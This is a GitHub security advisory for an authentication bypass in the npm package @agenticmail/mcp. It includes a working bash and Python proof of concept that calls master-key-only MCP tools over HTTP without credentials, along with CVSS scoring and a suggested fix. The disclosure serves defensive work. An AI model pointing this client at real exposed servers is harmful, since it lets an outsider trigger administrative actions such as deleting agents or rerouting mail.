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@agenticmail/mcp Missing Authentication for Critical Function

High severity GitHub Reviewed Published May 29, 2026 in agenticmail/agenticmail • Updated Jun 12, 2026

Package

npm @agenticmail/mcp (npm)

Affected versions

< 0.9.27

Patched versions

0.9.27

Description

AgenticMail MCP HTTP authorization bypass

Summary

@agenticmail/mcp exposes a Streamable HTTP transport when started with
--http or MCP_HTTP=1. In that mode, the /mcp endpoint accepts requests
without any HTTP authentication layer. A remote client can initialize a
session and call tools directly.

The problem is that the MCP server also exposes tools documented as requiring
AGENTICMAIL_MASTER_KEY, and the server process forwards those calls using its
own configured master key. As a result, any client that can reach the MCP HTTP
port can invoke master-only operations without knowing the master key.

Impact

An unauthenticated network client can invoke master-key-only MCP tools through
the server, including administrative and gateway actions.

Confirmed with a read-only tool:

  • setup_guide

The same path reaches higher-impact tools such as:

  • setup_email_relay
  • setup_email_domain
  • delete_agent
  • cleanup_agents
  • send_test_email

Affected Code

  • packages/mcp/src/index.ts
  • packages/mcp/src/tools.ts
  • packages/mcp/README.md

Relevant observations:

  • packages/mcp/src/index.ts starts an HTTP server for /mcp without
    checking an Authorization header.
  • packages/mcp/src/tools.ts marks gateway/admin tools as master-key tools
    and forwards them with the server-side AGENTICMAIL_MASTER_KEY.
  • packages/mcp/README.md documents that gateway/admin tools require the
    master key.

Reproduction

Use the bundled one-command PoC runner:

cd agenticmail
./scripts/run_agenticmail_mcp_http_unauth_poc.sh

Expected success output:

[+] received mcp-session-id without authentication: ...
[+] tools/call(setup_guide) HTTP status: 200
[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`

PoC Files

Inline PoC

The following PoC is non-destructive. It calls setup_guide, which is
documented as a master-key tool but only returns setup guidance.

scripts/run_agenticmail_mcp_http_unauth_poc.sh

#!/usr/bin/env bash
set -euo pipefail

REPO_DIR="."
POC="scripts/agenticmail_mcp_http_unauth_poc.py"

API_HOST="${API_HOST:-127.0.0.1}"
API_PORT="${API_PORT:-}"
MCP_PORT="${MCP_PORT:-}"
MASTER_KEY="${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}"
DATA_DIR="${AGENTICMAIL_DATA_DIR:-.poc-data}"
LOG_DIR="${LOG_DIR:-.poc-logs}"

mkdir -p "$DATA_DIR" "$LOG_DIR"

node_major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)"
if (( node_major < 20 )); then
  echo "[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)" >&2
  exit 2
fi

find_free_port() {
  python3 - <<'PY'
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.bind(("127.0.0.1", 0))
    print(sock.getsockname()[1])
PY
}

[[ -n "$API_PORT" ]] || API_PORT="$(find_free_port)"
[[ -n "$MCP_PORT" ]] || MCP_PORT="$(find_free_port)"

api_pid=""
mcp_pid=""
cleanup() {
  set +e
  [[ -z "${mcp_pid:-}" ]] || kill "$mcp_pid" 2>/dev/null || true
  [[ -z "${api_pid:-}" ]] || kill "$api_pid" 2>/dev/null || true
}
trap cleanup EXIT

wait_tcp() {
  local host="$1"
  local port="$2"
  local name="$3"
  for _ in $(seq 1 60); do
    if python3 - "$host" "$port" >/dev/null 2>&1 <<'PY'
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
try:
    sock.connect((sys.argv[1], int(sys.argv[2])))
    sys.exit(0)
except Exception:
    sys.exit(1)
finally:
    sock.close()
PY
    then
      echo "[+] $name is listening: $host:$port"
      return 0
    fi
    sleep 1
  done
  echo "[-] Timed out waiting for $name: $host:$port" >&2
  return 1
}

cd "$REPO_DIR"

echo "[+] Starting AgenticMail API on $API_HOST:$API_PORT"
(
  export AGENTICMAIL_API_HOST="$API_HOST"
  export AGENTICMAIL_API_PORT="$API_PORT"
  export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
  export AGENTICMAIL_DATA_DIR="$DATA_DIR"
  npm run dev:api
) >"$LOG_DIR/api.log" 2>&1 &
api_pid="$!"
wait_tcp "$API_HOST" "$API_PORT" "AgenticMail API"

echo "[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT"
(
  export AGENTICMAIL_API_URL="http://$API_HOST:$API_PORT"
  export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
  export AGENTICMAIL_DATA_DIR="$DATA_DIR"
  npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP_PORT"
) >"$LOG_DIR/mcp.log" 2>&1 &
mcp_pid="$!"
wait_tcp "127.0.0.1" "$MCP_PORT" "AgenticMail MCP HTTP server"

echo "[+] Running unauthenticated MCP client PoC"
python3 "$POC" --url "http://127.0.0.1:$MCP_PORT/mcp"

scripts/agenticmail_mcp_http_unauth_poc.py

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import json
import sys
import urllib.error
import urllib.request


def post_json(url: str, payload: dict, session_id: str | None = None) -> tuple[int, dict, str]:
    data = json.dumps(payload).encode("utf-8")
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
    if session_id:
        headers["mcp-session-id"] = session_id

    req = urllib.request.Request(url, data=data, headers=headers, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=15) as resp:
            body = resp.read().decode("utf-8", errors="replace")
            return resp.status, dict(resp.headers), body
    except urllib.error.HTTPError as exc:
        body = exc.read().decode("utf-8", errors="replace")
        return exc.code, dict(exc.headers), body


def parse_sse_or_json(body: str) -> list[dict]:
    events: list[dict] = []
    stripped = body.strip()
    if not stripped:
        return events
    if stripped.startswith("{") or stripped.startswith("["):
        parsed = json.loads(stripped)
        return parsed if isinstance(parsed, list) else [parsed]
    for line in body.splitlines():
        if not line.startswith("data:"):
            continue
        data = line[len("data:") :].strip()
        if not data:
            continue
        try:
            events.append(json.loads(data))
        except json.JSONDecodeError:
            pass
    return events


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", default="http://127.0.0.1:8014/mcp")
    parser.add_argument("--tool", default="setup_guide")
    args = parser.parse_args()

    init_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "initialize",
        "params": {
            "protocolVersion": "2025-03-26",
            "capabilities": {},
            "clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"},
        },
    }

    status, headers, body = post_json(args.url, init_payload)
    print(f"[+] initialize HTTP status: {status}")
    print(f"[+] initialize response body: {body[:500]}")
    session_id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id")
    if not session_id:
        print("[-] No mcp-session-id header returned")
        return 2
    print(f"[+] received mcp-session-id without authentication: {session_id}")

    post_json(args.url, {
        "jsonrpc": "2.0",
        "method": "notifications/initialized",
        "params": {},
    }, session_id=session_id)

    status, _headers, body = post_json(args.url, {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {"name": args.tool, "arguments": {}},
    }, session_id=session_id)
    print(f"[+] tools/call({args.tool}) HTTP status: {status}")
    print("[+] raw response:")
    print(body)

    if any("result" in msg for msg in parse_sse_or_json(body)):
        print(f"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`")
        return 0

    print("[-] Tool call did not return a result")
    return 1


if __name__ == "__main__":
    sys.exit(main())

Why This Is a Vulnerability

The project treats AGENTICMAIL_MASTER_KEY as the authorization boundary for
administrative and gateway operations. HTTP MCP mode removes the client-side
authentication boundary entirely, so an unauthenticated network client becomes
an indirect caller of master-only API functionality.

Suggested Fix

  • Require authentication for HTTP MCP mode.
  • Bind the MCP HTTP server to 127.0.0.1 by default.
  • Reject /mcp requests that lack a valid bearer token or shared secret.
  • Disable master-key tools when the transport is unauthenticated.

References

@ope-olatunji ope-olatunji published to agenticmail/agenticmail May 29, 2026
Published to the GitHub Advisory Database Jun 1, 2026
Reviewed Jun 1, 2026
Published by the National Vulnerability Database Jun 12, 2026
Last updated Jun 12, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(19th percentile)

Weaknesses

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

CVE ID

CVE-2026-50287

GHSA ID

GHSA-63gr-g7jc-v8rg
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